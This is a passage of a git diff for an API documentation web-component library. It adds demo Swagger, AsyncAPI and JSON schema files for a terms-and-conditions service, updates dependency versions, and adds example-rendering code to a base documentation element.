+ { + "required": [ + "portfolios" + ], + "type": "object", + "properties": { + "portfolios": { + "type": "array", + "items": { + "$ref": "#/definitions/Portfolio" + } + } + } + } + ] + }, + "Error": { + "description": "Represents a generic custom error (this is not a replacement for the HTTP errors)", + "allOf": [ + { + "$ref": "#/definitions/ApiResponse" + }, + { + "required": [ + "errors" + ], + "type": "object", + "properties": { + "errors": { + "description": "Details of why the error occurred", + "type": "array", + "items": { + "$ref": "#/definitions/ErrorMessage" + } + } + } + } + ] + }, + "ApiResponse": { + "description": "Abstract representation of a success/error response", + "required": [ + "responseMetaData" + ], + "type": "object", + "properties": { + "responseMetaData": { + "$ref": "#/definitions/ApiResponseMetaData", + "description": "The meta data associated with a response" + } + } + }, + "ApiResponseMetaData": { + "description": "Meta data describing the response to a request", + "required": [ + "apiVersion", + "timestamp" + ], + "type": "object", + "properties": { + "apiVersion": { + "description": "The version number of the API", + "type": "string" + }, + "timestamp": { + "format": "date-time", + "description": "Timestamp the response was created", + "type": "string" + } + } + }, + "ErrorMessage": { + "description": "The detailed contents of an error", + "required": [ + "id", + "code", + "message", + "createdDate" + ], + "type": "object", + "properties": { + "id": { + "description": "Unique identifier of the error message", + "type": "string" + }, + "code": { + "description": "Mnemonic identifier", + "type": "string" + }, + "message": { + "description": "Detailed message of the error", + "type": "string" + }, + "createdDate": { + "format": "date-time", + "description": "Timestamp the error was created", + "type": "string" + } + } + }, + "Portfolio": { + "description": "Definition of a generic portfolio", + "required": [ + "portfolioUid", + "name", + "category" + ], + "type": "object", + "properties": { + "portfolioUid": { + "format": "int64", + "description": "Identifiers of a Portfolio", + "type": "integer" + }, + "name": { + "description": "PortfolioName of a Portfolio", + "type": "string" + }, + "category": { + "description": "Category of a Portfolio", + "enum": [ + "Investment", + "Index", + "Composite" + ], + "type": "string" + }, + "investmentPortfolioTypeUid": { + "format": "int32", + "description": "InvestmentPortfolioType of a Portfolio", + "type": "integer", + "readOnly": true + }, + "investmentPortfolioTypeCode": { + "description": "InvestmentPortfolioTypeCode of a Portfolio", + "enum": [ + "AA", + "MR", + "RP", + "MX", + "GP", + "SG", + "ID", + "AD", + "AM", + "AR", + "AX", + "GA", + "GM", + "GR", + "GX", + "RM", + "SM", + "SR", + "SX", + "XM", + "FL", + "AT", + "CP", + "MG", + "IDM" + ], + "type": "string" + }, + "investmentPortfolioNumber": { + "description": "InvestmentPortfolioNumber of a Portfolio", + "type": "string" + }, + "investmentPortfolioName": { + "description": "InvestmentPortfolioName of a Portfolio", + "type": "string" + }, + "portfolioAliasName": { + "description": "PortfolioAliasName of a Portfolio", + "type": "string" + } + } + } + }, + "securityDefinitions": { + "basicAuth": { + "type": "basic", + "description": "Basic HTTP Authentication" + } + } +} diff --git a/demo/apis/anyOf/anyOf.yaml b/demo/apis/anyOf/anyOf.yaml new file mode 100644 index 0000000..736aa75 --- /dev/null +++ b/demo/apis/anyOf/anyOf.yaml @@ -0,0 +1,37 @@ +asyncapi: '2.0.0' +info: + title: AnyOf example + version: '1.0.0' + +channels: + test: + publish: + message: + $ref: '#/components/messages/testMessages' + +components: + messages: + testMessages: + payload: + anyOf: # anyOf in payload schema + - $ref: "#/components/schemas/objectWithKey" + - $ref: "#/components/schemas/objectWithKey2" + testMessage1: + payload: + $ref: "#/components/schemas/objectWithKey2" + + schemas: + objectWithKey: + type: object + properties: + key: + type: string + additionalProperties: false + objectWithKey2: + type: object + properties: + key2: + type: number + prop: + type: boolean + diff --git a/demo/apis/demo-api/demo-api.raml b/demo/apis/demo-api/demo-api.raml index 3bb2c41..f95c90c 100644 --- a/demo/apis/demo-api/demo-api.raml +++ b/demo/apis/demo-api/demo-api.raml @@ -588,6 +588,7 @@ documentation: body: application/json: type: AppPerson + description: Puts a person to the data store application/xml: type: !include schemas/person.xsd example: !include examples/person.xml diff --git a/demo/apis/steveTest-1/exchange.json b/demo/apis/steveTest-1/exchange.json new file mode 100755 index 0000000..c68d564 --- /dev/null +++ b/demo/apis/steveTest-1/exchange.json @@ -0,0 +1,6 @@ +{ + "main": "stevetest.json", + "name": "steveTest", + "classifier": "oas", + "tags": [] +} \ No newline at end of file diff --git a/demo/apis/steveTest-1/schemas/schema-termsConditionsAccept.json b/demo/apis/steveTest-1/schemas/schema-termsConditionsAccept.json new file mode 100755 index 0000000..3007c94 --- /dev/null +++ b/demo/apis/steveTest-1/schemas/schema-termsConditionsAccept.json @@ -0,0 +1,43 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema", + "id": "http://example.com/example.json", + "type": "object", + "required": [ + "logonID", + "site", + "siteRole", + "acceptedDate" + ], + "properties": { + "logonID": { + "id": "#/properties/logonID", + "type": "string", + "description": "OneAmerica user's application logonID.", + "example": "indybrad" + }, + "site": { + "id": "#/properties/site", + "type": "string", + "description": "OneAmerica web application identifier within which user is accepting terms.", + "example": "ACCTSERV" + }, + "siteRole": { + "id": "#/properties/siteRole", + "type": "string", + "description": "OneAmerica user's role within the web application.", + "example": "PARTCPNT" + }, + "impersonationID": { + "id": "#/properties/impersonationID", + "type": "string", + "description": "OneAmerica user account that is accepting on behalf of the actual OneAmerica user.", + "example": "xyz123" + }, + "acceptedDate": { + "id": "#/properties/acceptedDate", + "type": "string", + "description": "Datetime of acceptance of terms by the OneAmerica user.", + "example": "2018-01-01T12:00:00.000" + } + } +} \ No newline at end of file diff --git a/demo/apis/steveTest-1/schemas_response/schema-termsConditionsAccept-Get.json b/demo/apis/steveTest-1/schemas_response/schema-termsConditionsAccept-Get.json new file mode 100755 index 0000000..1334ff6 --- /dev/null +++ b/demo/apis/steveTest-1/schemas_response/schema-termsConditionsAccept-Get.json @@ -0,0 +1,24 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema", + "id": "http://example.com/example.json", + "type": "object", + "default": {}, + "additionalProperties": true, + "properties": { + "logonID": { + "id": "#/properties/logonID", + "type": "string", + "description": "OneAmerica user's application logonID." + }, + "accepted": { + "id": "#/properties/accepted", + "type": "boolean", + "description": "True/False indicator on whether legal terms were accepted." + }, + "acceptedDate": { + "id": "#/properties/acceptedDate", + "type": "string", + "description": "Date of acceptance of legal terms." + } + } +} \ No newline at end of file diff --git a/demo/apis/steveTest-1/stevetest.json b/demo/apis/steveTest-1/stevetest.json new file mode 100755 index 0000000..c0a26a5 --- /dev/null +++ b/demo/apis/steveTest-1/stevetest.json @@ -0,0 +1,167 @@ +{ + "swagger": "2.0", + "info": { + "title": "Legal System Service v1", + "description": "This is the suite of Participant Legal services.", + "version": "1.0.0", + "termsOfService": "http://www.oneamerica.com", + "contact": { + "email": "jedimaster@oneamerica.com" + }, + "license": { + "name": "OneAmerica 1.0" + } + }, + "host": "esb.oneamerica.com:61006", + "basePath": "/api", + "schemes": [ + "https" + ], + "consumes": [ + "application/json" + ], + "produces": [ + "application/json" + ], + "tags": [ + { + "name": "test", + "description": "test" + } + ], + "parameters": { + "trait:content-type-required:content-type": { + "required": true, + "type": "string", + "in": "header", + "name": "content-type" + } + }, + "paths": { + "/legal/termsConditionsAcceptReset": { + "delete": { + "description": "Delete participants existing terms and conditions", + "responses": { + "200": { + "description": "This status code will be returned when request passes" + }, + "400": { + "$ref": "traits/response-errors.json#/responses/400" + }, + "404": { + "$ref": "traits/response-errors.json#/responses/404" + }, + "405": { + "$ref": "traits/response-errors.json#/responses/405" + }, + "406": { + "$ref": "traits/response-errors.json#/responses/406" + }, + "415": { + "$ref": "traits/response-errors.json#/responses/406" + }, + "500": { + "$ref": "traits/response-errors.json#/responses/500" + }, + "501": { + "$ref": "traits/response-errors.json#/responses/501" + } + } + } + }, + "/legal/termsConditionsAccept": { + "get": { + "description": "Retrieves a user's status on terms and conditions acceptance.", + "responses": { + "200": { + "description": "This status code will be returned when request passes.", + "schema": { + "$ref": "schemas_response/schema-termsConditionsAccept-Get.json" + }, + "examples": { + "application/json": { + "logonID": "indybrad", + "accepted" : true, + "acceptedDate" : "2018-01-01T12:00:00.000" + } + } + }, + "400": { + "$ref": "traits/response-errors.json#/responses/400" + }, + "404": { + "$ref": "traits/response-errors.json#/responses/404" + }, + "405": { + "$ref": "traits/response-errors.json#/responses/405" + }, + "406": { + "$ref": "traits/response-errors.json#/responses/406" + }, + "415": { + "$ref": "traits/response-errors.json#/responses/406" + }, + "500": { + "$ref": "traits/response-errors.json#/responses/500" + }, + "501": { + "$ref": "traits/response-errors.json#/responses/501" + } + }, + "parameters": [ + { + "required": true, + "type": "string", + "in": "header", + "name": "webLogonID" + }, + { + "$ref": "#/parameters/trait:content-type-required:content-type" + } + ] + }, + "post": { + "description": "Store participant's terms and conditions acceptance.", + "responses": { + "200": { + "description": "This status code will be returned when request passes." + }, + "400": { + "$ref": "traits/response-errors.json#/responses/400" + }, + "404": { + "$ref": "traits/response-errors.json#/responses/404" + }, + "405": { + "$ref": "traits/response-errors.json#/responses/405" + }, + "406": { + "$ref": "traits/response-errors.json#/responses/406" + }, + "415": { + "$ref": "traits/response-errors.json#/responses/406" + }, + "500": { + "$ref": "traits/response-errors.json#/responses/500" + }, + "501": { + "$ref": "traits/response-errors.json#/responses/501" + } + }, + "parameters": [ + { + "$ref": "#/parameters/trait:content-type-required:content-type" + }, + { + "in": "body", + "name": "body", + "schema": { + "$ref": "schemas/schema-termsConditionsAccept.json" + }, + "required": true + } + ] + } + } + } +} \ No newline at end of file diff --git a/demo/apis/steveTest-1/traits/response-errors.json b/demo/apis/steveTest-1/traits/response-errors.json new file mode 100755 index 0000000..79d2cc0 --- /dev/null +++ b/demo/apis/steveTest-1/traits/response-errors.json @@ -0,0 +1,123 @@ +{ + "responses": { + "400": { + "description": "Status code and error message will be returned if validation fails.", + "schema": { + "$ref": "schema-response-errors.json#/properties/errorInfo" + }, + "examples": { + "application/json": { + "errorInfo": [ + { + "code": "400", + "message": "Bad request", + "detail": "Invalid request" + } + ] + } + } + }, + "404": { + "description": "Resource not found for requested URI.", + "schema": { + "$ref": "schema-response-errors.json#/properties/errorInfo" + }, + "examples": { + "application/json": { + "errorInfo": [ + { + "code": "404", + "message": "Resource not found", + "detail": "Resource not found for requested URI" + } + ] + } + } + }, + "405": { + "description": "Method not allowd for requested resource.", + "schema": { + "$ref": "schema-response-errors.json#/properties/errorInfo" + }, + "examples": { + "application/json": { + "errorInfo": [ + { + "code": "405", + "message": "Method not allowed", + "detail": "Method not allowed for requested resource" + } + ] + } + } + }, + "406": { + "description": "Request headers are not acceptable.", + "schema": { + "$ref": "schema-response-errors.json#/properties/errorInfo" + }, + "examples": { + "application/json": { + "errorInfo": [ + { + "code": "406", + "message": "Not acceptable", + "detail": "Request accept headers are not acceptable" + } + ] + } + } + }, + "415": { + "description": "Request format is not supported by the requested resource.", + "schema": { + "$ref": "schema-response-errors.json#/properties/errorInfo" + }, + "examples": { + "application/json": { + "errorInfo": [ + { + "code": "415", + "message": "Unsupported media type", + "detail": "Request format is not supported by the requested resource" + } + ] + } + } + }, + "500": { + "description": "Status code and error message will be returned when the endpoint encounters an unexpected technical error", + "schema": { + "$ref": "schema-response-errors.json#/properties/errorInfo" + }, + "examples": { + "application/json": { + "errorInfo": [ + { + "code": "500", + "message": "Unexpected server error", + "detail": "Service encountered an unexpected error while processing the request" + } + ] + } + } + }, + "501": { + "description": "Service method is not implemented.", + "schema": { + "$ref": "schema-response-errors.json#/properties/errorInfo" + }, + "examples": { + "application/json": { + "errorInfo": [ + { + "code": "501", + "message": "Not Implemented", + "detail": "Service method is not implemented" + } + ] + } + } + } + } +} \ No newline at end of file diff --git a/demo/apis/steveTest-1/traits/schema-response-errors.json b/demo/apis/steveTest-1/traits/schema-response-errors.json new file mode 100755 index 0000000..0eb8cb7 --- /dev/null +++ b/demo/apis/steveTest-1/traits/schema-response-errors.json @@ -0,0 +1,35 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema", + "id": "http://example.com/example.json", + "type": "object", + "additionalProperties": true, + "properties": { + "errorInfo": { + "id": "#/properties/errorInfo", + "type": "array", + "additionalItems": true, + "items": { + "id": "#/properties/errorInfo/items/", + "type": "object", + "additionalProperties": true, + "properties": { + "code": { + "id": "#/properties/errorInfo/items/anyOf/0/properties/code", + "type": "string", + "description": "Error code generated during processing." + }, + "message": { + "id": "#/properties/errorInfo/items/anyOf/0/properties/message", + "type": "string", + "description": "High-level error message grouping of the generated error." + }, + "detail": { + "id": "#/properties/errorInfo/items/anyOf/0/properties/detail", + "type": "string", + "description": "Detail error message of the generated error." + } + } + } + } + } +} \ No newline at end of file diff --git a/demo/index.html b/demo/index.html index 4e06316..33efdc9 100644 --- a/demo/index.html +++ b/demo/index.html @@ -27,6 +27,8 @@

    Documentation viewers

    A documentation viewer for an security schema.
    Api annotation
    An annotation render element.
    +
    Api payload
    +
    A documentation for a payload (request and response).
    diff --git a/demo/model.mjs b/demo/model.mjs index 76d80ff..2542296 100644 --- a/demo/model.mjs +++ b/demo/model.mjs @@ -10,53 +10,58 @@ config.set('google-drive-api/google-drive-api.raml', { type: "RAML 1.0" }); config.set('appian-api/appian-api.raml', { type: "RAML 1.0" }); config.set('nexmo-sms-api/nexmo-sms-api.raml', { type: "RAML 1.0" }); config.set('APIC-15/APIC-15.raml', { type: "RAML 1.0" }); +config.set('apic-83/apic-83.raml', { type: "RAML 1.0" }); +config.set('APIC-282/APIC-282.raml', { type: "RAML 1.0" }); +config.set('APIC-289/APIC-289.yaml', { type: "OAS 2.0", mime: 'application/yaml' }); +config.set('APIC-390/APIC-390.raml', { type: "RAML 1.0" }); +config.set('APIC-429/APIC-429.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('APIC-483/APIC-483.raml', { type: "RAML 1.0" }); +config.set('APIC-463/APIC-463.raml', { type: "RAML 1.0" }); +config.set('APIC-553/APIC-553.raml', { type: "RAML 1.0" }); +config.set('APIC-560/APIC-560.yaml', { type: "ASYNC 2.0" }); +config.set('APIC-582/APIC-582.yaml', { type: "ASYNC 2.0" }); +config.set('APIC-631/APIC-631.raml', { type: "RAML 1.0" }); +config.set('APIC-649/APIC-649.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('APIC-650/APIC-650.yaml', { type: "OAS 3.0" }); +config.set('APIC-667/APIC-667.raml', { type: "RAML 1.0" }); +config.set('APIC-671/APIC-671.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('APIC-711/APIC-711.raml', { type: "RAML 1.0" }); +config.set('aap-1698/aap-1698.raml', { type: "RAML 1.0" }); +config.set('SE-10469/SE-10469.raml', { type: "RAML 1.0" }); +config.set('SE-11155/SE-11155.raml', { type: "RAML 1.0" }); +config.set('SE-11415/SE-11415.raml', { type: "RAML 1.0" }); +config.set('SE-11508/SE-11508.raml', { type: "RAML 1.0" }); +config.set('SE-12291/SE-12291.json', { type: "OAS 2.0", mime: 'application/json' }); +config.set('SE-12752/SE-12752.raml', { type: "RAML 1.0" }); +config.set('SE-12957/SE-12957.json', { type: "OAS 2.0", mime: 'application/json' }); +config.set('SE-12959/SE-12959.json', { type: "OAS 2.0", mime: 'application/json' }); +config.set('SE-17897/SE-17897.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('SE-19500/SE-19500.raml', { type: "RAML 1.0" }); config.set('oauth1-fragment/oauth1-fragment.raml', { type: "RAML 1.0" }); config.set('oauth2-fragment/oauth2-fragment.raml', { type: "RAML 1.0" }); config.set('type-fragment/type-fragment.raml', { type: "RAML 1.0" }); config.set('documentation-fragment/documentation-fragment.raml', { type: "RAML 1.0" }); config.set('lib-fragment/lib-fragment.raml', { type: "RAML 1.0" }); config.set('example-fragment/example-fragment.raml', { type: "RAML 1.0" }); -config.set('SE-10469/SE-10469.raml', { type: "RAML 1.0" }); -config.set('SE-11415/SE-11415.raml', { type: "RAML 1.0" }); -config.set('APIC-390/APIC-390.raml', { type: "RAML 1.0" }); config.set('multi-server/multi-server.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); config.set('async-api/async-api.yaml', { type: "ASYNC 2.0" }); config.set('Streetlights/Streetlights.yaml', { type: "ASYNC 2.0" }); -config.set('APIC-711/APIC-711.raml', { type: "RAML 1.0" }); config.set('api-keys/api-keys.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); config.set('oauth-flows/oauth-flows.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); config.set('oas-bearer/oas-bearer.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); config.set('oauth-pkce/oauth-pkce.raml', { type: "RAML 1.0" }); config.set('secured-unions/secured-unions.yaml', { type: "OAS 3.0" }); config.set('secured-api/secured-api.raml', { type: "RAML 1.0" }); -config.set('APIC-553/APIC-553.raml', { type: "RAML 1.0" }); -config.set('APIC-560/APIC-560.yaml', { type: "ASYNC 2.0" }); -config.set('APIC-582/APIC-582.yaml', { type: "ASYNC 2.0" }); -config.set('APIC-650/APIC-650.yaml', { type: "OAS 3.0" }); -config.set('SE-12957/SE-12957.json', { type: "OAS 2.0", mime: 'application/json' }); -config.set('SE-12959/SE-12959.json', { type: "OAS 2.0", mime: 'application/json' }); -config.set('SE-12752/SE-12752.raml', { type: "RAML 1.0" }); config.set('oas-callbacks/oas-callbacks.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); config.set('documented-api/documented-api.raml', { type: "RAML 1.0" }); config.set('annotated-api/annotated-api.raml', { type: "RAML 1.0" }); -config.set('aap-1698/aap-1698.raml', { type: "RAML 1.0" }); -config.set('apic-83/apic-83.raml', { type: "RAML 1.0" }); config.set('examples-api/examples-api.raml', { type: "RAML 1.0" }); -config.set('SE-11155/SE-11155.raml', { type: "RAML 1.0" }); -config.set('APIC-282/APIC-282.raml', { type: "RAML 1.0" }); -config.set('APIC-483/APIC-483.raml', { type: "RAML 1.0" }); -config.set('APIC-631/APIC-631.raml', { type: "RAML 1.0" }); -config.set('SE-19500/SE-19500.raml', { type: "RAML 1.0" }); config.set('enum-test/enum-test.raml', { type: "RAML 1.0" }); -config.set('APIC-667/APIC-667.raml', { type: "RAML 1.0" }); config.set('oas-api/Petstore-v2.yaml', { type: "OAS 2.0", mime: 'application/yaml' }); -config.set('APIC-289/APIC-289.yaml', { type: "OAS 2.0", mime: 'application/yaml' }); -config.set('APIC-429/APIC-429.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); -config.set('SE-17897/SE-17897.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); config.set('new-oas3-types/new-oas3-types.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); config.set('oas-api/read-only-properties.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); -config.set('APIC-649/APIC-649.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); -config.set('APIC-671/APIC-671.yaml', { type: "OAS 3.0", mime: 'application/yaml' }); +config.set('anyOf/anyOf.yaml', { type: 'ASYNC 2.0' }); +config.set('steveTest-1/stevetest.json', { type: 'OAS 2.0' }); generator.generate(config, { dest: 'demo/models/', diff --git a/package-lock.json b/package-lock.json index f03ae95..8cfbe18 100644 --- a/package-lock.json +++ b/package-lock.json @@ -642,9 +642,9 @@ } }, "@api-components/amf-helper-mixin": { - "version": "4.5.8", - "resolved": "https://registry.npmjs.org/@api-components/amf-helper-mixin/-/amf-helper-mixin-4.5.8.tgz", - "integrity": "sha512-F2LtWpG/G9sAIBP8LMjCzwCIWVy3sCof0gKLA1wuzcB12zPL4EHOUsfIOpBz680cen1DFMHQe98sYzFVfAB96A==", + "version": "4.5.12", + "resolved": "https://registry.npmjs.org/@api-components/amf-helper-mixin/-/amf-helper-mixin-4.5.12.tgz", + "integrity": "sha512-66sUC/YaWzTK+3G0QCtz1ByUWdvsUEo50BXqNDHreaGHXoRkYNdF1z79Tf3AniBCcUIVuRN1IVWu0KhrDGf4cg==", "requires": { "amf-json-ld-lib": "0.0.14" } @@ -709,11 +709,11 @@ } }, "@api-components/api-schema": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/@api-components/api-schema/-/api-schema-0.1.3.tgz", - "integrity": "sha512-af1oj/M+YC7cNN3wpa0Aw0EhpwAUXlqx73NY/Rb44JPHW8EGlVqqL/PDPor4dx61fNeSzONwSj/SxGpfN7pkbg==", + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/@api-components/api-schema/-/api-schema-0.1.4.tgz", + "integrity": "sha512-Z9yU9VRBNNxYqYmJdHTlcdo/I/k9Qgh3wIsA2t2ehD8+XW+8sD6fT11IM2YYb0V/vBznNT6OMMQBIgFqvjW9tw==", "requires": { - "@api-components/amf-helper-mixin": "^4.5.4", + "@api-components/amf-helper-mixin": "^4.5.12", "@pawel-up/data-mock": "^0.1.7" } }, @@ -6376,9 +6376,9 @@ "dev": true }, "husky": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/husky/-/husky-6.0.0.tgz", - "integrity": "sha512-SQS2gDTB7tBN486QSoKPKQItZw97BMOd+Kdb6ghfpBc0yXyzrddI0oDV5MkDAbuB4X2mO3/nj60TRMcYxwzZeQ==", + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/husky/-/husky-7.0.2.tgz", + "integrity": "sha512-8yKEWNX4z2YsofXAMT7KvA1g8p+GxtB1ffV8XtpAEGuXNAbCV5wdNKH+qTpw8SM9fh4aMPDR+yQuKfgnreyZlg==", "dev": true }, "iconv-lite": { diff --git a/package.json b/package.json index 7e96d08..c232784 100644 --- a/package.json +++ b/package.json @@ -36,8 +36,8 @@ "@anypoint-web-components/anypoint-listbox": "^1.1.7", "@anypoint-web-components/anypoint-radio-button": "^0.1.9", "@anypoint-web-components/anypoint-tabs": "^0.1.19", - "@api-components/amf-helper-mixin": "^4.5.8", - "@api-components/api-schema": "^0.1.3", + "@api-components/amf-helper-mixin": "^4.5.12", + "@api-components/api-schema": "^0.1.4", "@api-components/api-server-selector": "^0.7.1", "@api-components/http-method-label": "^3.1.4", "@open-wc/dedupe-mixin": "^1.3.0", @@ -63,7 +63,7 @@ "@web/test-runner-playwright": "^0.8.8", "eslint": "^7.32.0", "eslint-config-prettier": "^8.3.0", - "husky": "^6.0.0", + "husky": "^7.0.2", "lint-staged": "^11.1.2", "sinon": "^11.1.2", "typescript": "^4.4.3", @@ -78,7 +78,7 @@ "lint": "npm run lint:eslint", "format": "npm run format:eslint", "test": "web-test-runner test/**/*.test.js --coverage --node-resolve --playwright --browsers chromium firefox webkit", - "test:watch": "web-test-runner test/**/*.test.js --node-resolve --watch --playwright --browsers chromium", + "test:watch": "web-test-runner --node-resolve --watch --playwright --browsers chromium", "gen:wc": "wca analyze \"*.js\" --outFile custom-elements.json", "prepare": "node demo/model.mjs" }, diff --git a/src/elements/ApiAnnotationDocumentElement.js b/src/elements/ApiAnnotationDocumentElement.js index a90531f..7a211ac 100644 --- a/src/elements/ApiAnnotationDocumentElement.js +++ b/src/elements/ApiAnnotationDocumentElement.js @@ -172,13 +172,13 @@ export default class ApiAnnotationDocumentElement extends AmfHelperMixin(LitElem * @returns {TemplateResult|string} The template for the custom property. */ [propertyTemplate](property) { - const { types, extensionName } = property; - const unknown = /** @type unknown */ (property); + const { name, extension } = property; + const { types } = extension; if (types.includes(ns.aml.vocabularies.data.Scalar)) { - return this[scalarTemplate](extensionName, /** @type ApiScalarNode */ (unknown)); + return this[scalarTemplate](name, /** @type ApiScalarNode */ (extension)); } if (types.includes(ns.aml.vocabularies.data.Object)) { - return this[objectTemplate](extensionName, /** @type ApiObjectNode */ (unknown)); + return this[objectTemplate](name, /** @type ApiObjectNode */ (extension)); } return ''; } diff --git a/src/elements/ApiDocumentationBase.d.ts b/src/elements/ApiDocumentationBase.d.ts index aecd830..60c9a4f 100644 --- a/src/elements/ApiDocumentationBase.d.ts +++ b/src/elements/ApiDocumentationBase.d.ts @@ -1,6 +1,6 @@ -/* eslint-disable class-methods-use-this */ import { LitElement, TemplateResult } from 'lit-element'; -import { AmfHelperMixin, AmfSerializer, DomainElement, ApiParameter, ApiCustomDomainProperty } from '@api-components/amf-helper-mixin'; +import { AmfHelperMixin, AmfSerializer, DomainElement, ApiParameter, ApiCustomDomainProperty, ApiExample } from '@api-components/amf-helper-mixin'; +import { SchemaExample } from '@api-components/api-schema'; export declare const sectionToggleClickHandler: unique symbol; export declare const queryDebounce: unique symbol; @@ -13,6 +13,11 @@ export declare const paramsSectionTemplate: unique symbol; export declare const schemaItemTemplate: unique symbol; export declare const descriptionTemplate: unique symbol; export declare const customDomainPropertiesTemplate: unique symbol; +export declare const examplesTemplate: unique symbol; +export declare const exampleTemplate: unique symbol; +export declare const examplesValue: unique symbol; +export declare const evaluateExamples: unique symbol; +export declare const evaluateExample: unique symbol; /** * A base class for the documentation components with common templates and functions. @@ -41,6 +46,8 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { domainModel: DomainElement|undefined; [domainModelValue]: DomainElement|undefined; + [examplesValue]: SchemaExample[]; + constructor(); connectedCallback(): void; @@ -61,6 +68,18 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { */ [sectionToggleClickHandler](e: Event): void; + /** + * @param examples The list of examples to evaluate + * @param mediaType The media type to use with examples processing. + */ + [evaluateExamples](examples: ApiExample[], mediaType: string): SchemaExample[]; + + /** + * @param example The example to evaluate + * @param mediaType The media type to use with examples processing. + */ + [evaluateExample](example: ApiExample, mediaType: string): SchemaExample; + /** * @return The template for the section toggle button */ @@ -74,9 +93,10 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { [paramsSectionTemplate](label: string, openedProperty: string, content: TemplateResult | TemplateResult[]): TemplateResult; /** * @param model The parameter to render. + * @param dataName Optional data-name for this parameter * @return The template for the schema item document */ - [schemaItemTemplate](model: ApiParameter): TemplateResult; + [schemaItemTemplate](model: ApiParameter, dataName?: string): TemplateResult; /** * @param description The description to render. * @returns The template for the markdown description. @@ -87,4 +107,13 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { * @returns The template for the custom domain properties */ [customDomainPropertiesTemplate](customDomainProperties: ApiCustomDomainProperty[]): TemplateResult|string; + /** + * @returns The template for the examples section. + */ + [examplesTemplate](): TemplateResult|string; + + /** + * @returns The template for a single example + */ + [exampleTemplate](item: SchemaExample): TemplateResult|string; } diff --git a/src/elements/ApiDocumentationBase.js b/src/elements/ApiDocumentationBase.js index a73a68c..af9f41e 100644 --- a/src/elements/ApiDocumentationBase.js +++ b/src/elements/ApiDocumentationBase.js @@ -2,7 +2,9 @@ /* eslint-disable class-methods-use-this */ import { LitElement, html } from 'lit-element'; import { classMap } from 'lit-html/directives/class-map.js'; +import { ifDefined } from 'lit-html/directives/if-defined.js'; import { AmfHelperMixin, AmfSerializer } from '@api-components/amf-helper-mixin'; +import { ApiExampleGenerator } from '@api-components/api-schema'; import '@anypoint-web-components/anypoint-button/anypoint-button.js'; import '@anypoint-web-components/anypoint-collapse/anypoint-collapse.js'; import '@advanced-rest-client/arc-icons/arc-icon.js'; @@ -13,6 +15,8 @@ import '../../api-annotation-document.js'; /** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ /** @typedef {import('@api-components/amf-helper-mixin').ApiParameter} ApiParameter */ /** @typedef {import('@api-components/amf-helper-mixin').ApiCustomDomainProperty} ApiCustomDomainProperty */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiExample} ApiExample */ +/** @typedef {import('@api-components/api-schema').SchemaExample} SchemaExample */ export const sectionToggleClickHandler = Symbol('sectionToggleClickHandler'); export const processDebounce = Symbol('queryDebounce'); @@ -26,6 +30,12 @@ export const sectionToggleTemplate = Symbol('sectionToggleTemplate'); export const paramsSectionTemplate = Symbol('paramsSectionTemplate'); export const schemaItemTemplate = Symbol('schemaItemTemplate'); export const customDomainPropertiesTemplate = Symbol('customDomainPropertiesTemplate'); +export const examplesTemplate = Symbol('examplesTemplate'); +export const exampleTemplate = Symbol('exampleTemplate'); +export const examplesValue = Symbol('examplesValue'); +export const evaluateExamples = Symbol('evaluateExamples'); +export const evaluateExample = Symbol('evaluateExample'); + /** * A base class for the documentation components with common templates and functions. */ @@ -96,6 +106,10 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { this.queryDebouncerTimeout = 2; /** @type {boolean} */ this.anypoint = undefined; + /** + * @type {SchemaExample[]} + */ + this[examplesValue] = undefined; this[serializerValue] = new AmfSerializer(); } @@ -176,6 +190,40 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { this[ctrlProperty] = !this[ctrlProperty]; } + /** + * @param {ApiExample[]} examples The list of examples to evaluate + * @param {string} mediaType The media type to use with examples processing. + * @returns {SchemaExample[]} + */ + [evaluateExamples](examples, mediaType) { + return examples.map((example) => this[evaluateExample](example, mediaType)) + } + + /** + * @param {ApiExample} example The example to evaluate + * @param {string} mediaType The media type to use with examples processing. + * @returns {SchemaExample} + */ + [evaluateExample](example, mediaType) { + let value; + if (mediaType) { + const generator = new ApiExampleGenerator(); + value = generator.read(example, mediaType); + } else { + value = example.value || ''; + } + const { name, displayName } = example; + const label = displayName || name; + const result = /** @type SchemaExample */ ({ + ...example, + renderValue: value, + }); + if (label && !label.startsWith('example_')) { + result.label = label; + } + return result; + } + /** * @param {string} ctrlProperty * @return {TemplateResult|string} The template for the section toggle button @@ -202,7 +250,7 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { opened, }; return html` -
    +
    + `; } @@ -262,4 +316,40 @@ export class ApiDocumentationBase extends AmfHelperMixin(LitElement) { > `; } + + /** + * @returns {TemplateResult|string} The template for the examples section. + */ + [examplesTemplate]() { + const examples = this[examplesValue]; + if (!Array.isArray(examples)) { + return ''; + } + const filtered = examples.filter((item) => !!item.renderValue); + if (!filtered.length) { + return ''; + } + return html` +
    + ${filtered.map((item) => this[exampleTemplate](item))} +
